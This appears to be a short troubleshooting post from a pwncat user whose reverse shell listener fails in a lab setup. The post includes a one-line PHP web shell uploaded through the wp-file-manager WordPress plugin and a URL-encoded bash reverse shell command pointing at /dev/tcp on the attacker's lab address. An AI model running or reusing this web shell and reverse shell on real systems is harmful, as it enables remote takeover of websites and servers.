connection failed: channel unexpectedly closed

[colo13verdadeo]

File PHP content:

" . shell_exec($_REQUEST['cmd']) . ""; ?>

URL Exec:
http://192.168.43.6/blog/wp-content/plugins/wp-file-manager/lib/files/injnc2.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/192.168.43.3/441%3E%261%22

sudo] password for parrot:
┌─[root@parrot]─[/home/parrot]
└──╼ #pwncat-cs -lp 441
[19:15:38] Welcome to pwncat 🐈! main.py:164
bound to 0.0.0.0:441 ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━[19:15:55] connection failed: listener aborted manager.py:957
(local) pwncat$ exit
[19:15:57] closing interactive prompt manager.py:957

Some solution?

OS: Parrot OS
PWNCat:
──╼ #pwncat --version
pwncat: Version 0.1.1 (https://github.com/cytopia/pwncat) by cytopia